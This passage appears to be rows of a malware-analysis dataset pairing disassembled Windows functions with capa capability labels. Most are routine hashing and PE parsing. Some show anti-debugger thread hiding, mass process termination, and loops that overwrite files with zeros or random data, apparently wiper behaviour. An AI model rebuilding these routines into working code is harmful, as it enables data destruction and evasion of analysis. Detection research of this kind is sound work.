joyce8/EMBER2024-capa huggingface dataset:
Function at 0x22cdd0bc0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x22cdd12ff
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x22cdd0bed
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x22cdd0e71
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x22cdd0e9d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x22ce8f7e0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x22ce3f920]
lea rbx, [0x22ce8d130]
call fcn.22cda7120
inc rax
cmp rax, r8
jge 0x22cdd0ec2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x22cdd0ef7
lea rdi, [0x22ce3f9a0]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x22cdd0be3
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x22cdd0edb
jmp 0x22cdd0eb0
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.22cdacac0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.22cdd0bc0

Function at 0x22cdd14a0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x22cdd14b7
inc rax
cmp rax, 4
jge 0x22cdd14cf
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x22cdd14b4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x22cdd14e0
inc rax
cmp rax, 4
jge 0x22cdd14ee
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x22cdd1517
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x22cdd14fb
jmp 0x22cdd14dd
Function at 0x22ce0c300
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x22cf73268], rax
test rax, rax
je 0x22ce0c335
lea rcx, [0x22cf73280]
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x3d
mov edx, 1
lea rcx, str.runtime:_failed_to_create_runtime_initialization_wait_event._n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x22ce0c960
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.22ce0dbd0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x22ce0d362
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x22cf73348]
test eax, eax
je 0x22ce0d3fa
lea rax, [0x22cf73320]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x22cf73350]
mov qword [rbp - 8], rax
jmp 0x22ce0d3de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x22ce0d3d2
cmp qword [rbp - 0x10], 0
je 0x22ce0d3d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x22ce0d398
lea rax, [0x22cf73320]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x22ce0d3fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x22ce0d500
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x22ce0d528
mov eax, 0
jmp 0x22ce0d576
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x22ce0d551
mov eax, 0
jmp 0x22ce0d576
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x22ce0d571
mov eax, 0
jmp 0x22ce0d576
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x22ce0d57c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x22ce0d5fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x22ce0d5f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x22ce0d5f1
mov rax, qword [rbp - 8]
jmp 0x22ce0d60f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x22ce0d5c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x18000e6e0
Capabilities:
Read file via mapping

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x30
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
test rdx, rdx
je 0x18000e78f
mov ebp, r8d
mov rbx, rdx
mov rsi, rcx
mov r9, rdx
shr r9, 0x20
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x28], 0
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x18000e796
mov rdi, rax
mov eax, ebp
and eax, 4
lea edx, [rax*8 + 4]
mov qword [rsp + 0x20], rbx
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
test rax, rax
je 0x18000e79d
xor eax, eax
test bpl, 2
sete al
lea edx, [rax*2 + 2]
mov qword [rsp + 0x20], rbx
xor ebx, ebx
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
test rax, rax
je 0x18000e7a6
mov qword [rsi], r14
mov qword [rsi + 8], rax
jmp 0x18000e7ab
mov ebx, 2
jmp 0x18000e7b4
mov ebx, 1
jmp 0x18000e7b4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x18000e820
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
cmp dword [0x18064dec0], 0
jne 0x18000e87f
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x50]
dec eax
mov edx, eax
shr edx, 1
or edx, eax
mov eax, edx
shr eax, 2
or eax, edx
mov edx, eax
shr edx, 4
or edx, eax
mov eax, edx
shr eax, 8
or eax, edx
mov edx, eax
shr edx, 0x10
or edx, eax
inc edx
shl rcx, 0x20
or rdx, rcx
mov qword [0x18064dec8], rdx
mov eax, 1
xchg dword [0x18064dec0], eax
mov rax, qword [0x18064dec8]
add rsp, 0x58
ret
Function at 0x1800191b0
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x180022120
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 8]
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, eax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180022170
xor al, al
jmp 0x1800221dc
mov rax, qword [rsp + 0x58]
mov ecx, dword [rax + 8]
call fcn.180021dd0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800221b4
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 8]
mov r8d, eax
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 8]
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800221dc
xor al, al
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x48
ret
Function at 0x180023190
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x90], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0xb0]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb0]
add rax, qword [rcx + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 0
jmp 0x180023227
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x68]
add rax, 0x28
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jge 0x1800232f8
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x24]
and eax, 0x20
cmp eax, 0x20
jne 0x1800232d2
mov rax, qword [rsp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180019fc0
nop
xor r8d, r8d
lea rdx, [0x18046a018]
lea rcx, [rsp + 0x70]
call fcn.18002e550
cmp rax, 0xffffffffffffffff
je 0x1800232c5
mov rax, qword [rsp + 0x68]
cmp dword [rax + 0x10], 0
je 0x1800232c5
mov rax, qword [rsp + 0xb0]
add rax, 0x18
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x50]
call fcn.18002d130
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call fcn.18002d180
lea rcx, [rsp + 0x48]
call fcn.180023400
nop
lea rcx, [rsp + 0x70]
call fcn.180019f10
nop
jmp 0x1800232f3
mov rax, qword [rsp + 0xb0]
add rax, 0x30
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
call fcn.18002d0e0
nop
jmp 0x18002320f
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0xa8
ret

Function at 0x180023ab0
Capabilities:
Hide thread from debugger

Disassembly:
sub rsp, 0x48
lea rcx, [0x1804683d8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1804683c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180023b04
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, rax
call qword [rsp + Ordinal_50]
mov dword [rsp + 0x20], eax
add rsp, 0x48
ret

Function at 0x180023b10
Capabilities:
Hide thread from debugger

Disassembly:
sub rsp, 0x48
lea rcx, [0x180468400]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1804683e8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180023b64
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, rax
call qword [rsp + Ordinal_50]
mov dword [rsp + 0x20], eax
add rsp, 0x48
ret
Function at 0x180023f50
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x180023f8d
jmp 0x180024030
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180024024
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180024010
lea rdx, str.Terminating_process:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180037ed0
lea rdx, [rsp + 0x5c]
mov rcx, rax
call fcn.180037ed0
lea rdx, [0x1804684dc]
mov rcx, rax
call fcn.180037ed0
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180023fa9
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x178
ret
Function at 0x180024050
Capabilities:
Enumerate process modules

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x1a8
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov r8d, dword [rsp + 0x1c8]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800241bd
lea rax, [rsp + 0x80]
lea rcx, str._unknown_
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8a]
mov rdi, rax
xor eax, eax
mov ecx, 0xfa
rep stosb byte [rdi], al
lea r9, [rsp + 0x38]
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x1800241b1
mov r9d, 0x104
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
test eax, eax
je 0x1800241b1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.180019fc0
mov r8, 0xffffffffffffffff
lea rdx, [0x180468504]
lea rcx, [rsp + 0x40]
call fcn.18002e4e0
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x1800241a6
mov rax, qword [rsp + 0x28]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.18002e490
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x1c0]
call fcn.180019f40
lea rcx, [rsp + 0x60]
call fcn.180019f10
lea rcx, [rsp + 0x40]
call fcn.180019f10
mov rax, qword [rsp + 0x1c0]
jmp 0x1800241d9
lea rcx, [rsp + 0x40]
call fcn.180019f10
nop
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, str.Unknown
mov rcx, qword [rsp + 0x1c0]
call fcn.180019fc0
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x1a8
pop rdi
pop rsi
ret
Function at 0x180024430
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x290
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x48], 0xffffffffffffffff
mov dword [rsp + 0x58], 0xa
mov dword [rsp + 0x70], 0x1f4
mov dword [rsp + 0x40], 0
jmp 0x18002447c
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xa
jge 0x180024514
mov rcx, qword [rsp + 0x2a0]
call fcn.18001cd00
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x1800244d3
jmp 0x180024514
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x20
je 0x1800244e9
jmp 0x1800245ec
mov rcx, qword [rsp + 0x2a0]
call fcn.180023f50
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.1800373f0
mov rcx, rax
call fcn.180037410
nop
jmp 0x180024472
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x18002456d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x54]
xor edx, edx
mov ecx, 0x1100
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
jmp 0x1800245ec
mov dword [rsp + 0x5c], 0x200
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
jmp 0x18002459d
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0x186a0
jae 0x1800245e0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x74]
mov r8d, 0x200
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800245dc
cmp dword [rsp + 0x74], 0x200
je 0x1800245de
jmp 0x1800245e0
jmp 0x180024593
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x290
pop rdi
ret
Function at 0x180024610
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x270
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0x280]
call fcn.18001cd00
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x18002467b
jmp 0x1800246f4
mov dword [rsp + 0x50], 0x200
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0
jmp 0x1800246a8
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x186a0
jae 0x1800246e8
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
mov r8d, 0x200
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800246e4
cmp dword [rsp + 0x54], 0x200
je 0x1800246e6
jmp 0x1800246e8
jmp 0x18002469e
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800c00c0
add rsp, 0x270
pop rdi
ret

Function at 0x180024710
Capabilities:
Hide thread from debugger
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rcx, [0x180468510]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x18002482b
lea rdx, [0x180468520]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
je 0x18002482b
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, rax
call qword [rbp + Ordinal_26]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x18002478c
jmp 0x18002482b
lea rax, [rbp + 0x30]
mov qword [rbp + 0x20], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x60]
call fcn.180038410
mov rcx, rax
call fcn.18002afe0
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.180019fc0
mov rdx, rax
lea rcx, [0x18064faa0]
call fcn.18006c1b0
nop
lea rax, [rbp + 0x80]
mov qword [rbp + 0x28], rax
lea rdx, [0x180467ff7]
mov rcx, qword [rbp + 0x28]
call fcn.180019fc0
mov rdx, rax
lea rcx, [0x18064faa0]
call fcn.180064fa0
nop
call fcn.180024200
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0xe8
pop rdi
pop rbp
ret
Function at 0x180024840
Capabilities:
Hide thread from debugger
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rcx, [0x180468538]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x18002495b
lea rdx, str.NtSetInformationThread
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
je 0x18002495b
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recvfrom
mov rcx, rax
call qword [rbp + Ordinal_26]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1800248bc
jmp 0x18002495b
lea rax, [rbp + 0x30]
mov qword [rbp + 0x20], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0x60]
call fcn.180038410
mov rcx, rax
call fcn.18002afe0
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.180019fc0
mov rdx, rax
lea rcx, [0x18064faa0]
call fcn.18006c1b0
nop
lea rax, [rbp + 0x80]
mov qword [rbp + 0x28], rax
lea rdx, [0x180468011]
mov rcx, qword [rbp + 0x28]
call fcn.180019fc0
mov rdx, rax
lea rcx, [0x18064faa0]
call fcn.180064fa0
nop
call fcn.180024200
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0xe8
pop rdi
pop rbp
ret

Function at 0x180024970
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
mov rax, qword [0x18047d0c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0x280]
call fcn.18001cd00
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x1800249dd
jmp 0x180024a86
mov dword [rsp + 0x50], 0x200
mov dword [rsp + 0x44], 0
jmp 0x1800249f9
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0x186a0
jae 0x180024a7a
mov dword [rsp + 0x40], 0
jmp 0x180024a17
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x200
jae 0x180024a41
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov ecx, dword [rsp + 0x40]
mov byte [rsp + rcx + 0x60], al
jmp 0x180024a0d
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
mov r8d, 0x200
lea rdx, [rsp + 0x60]
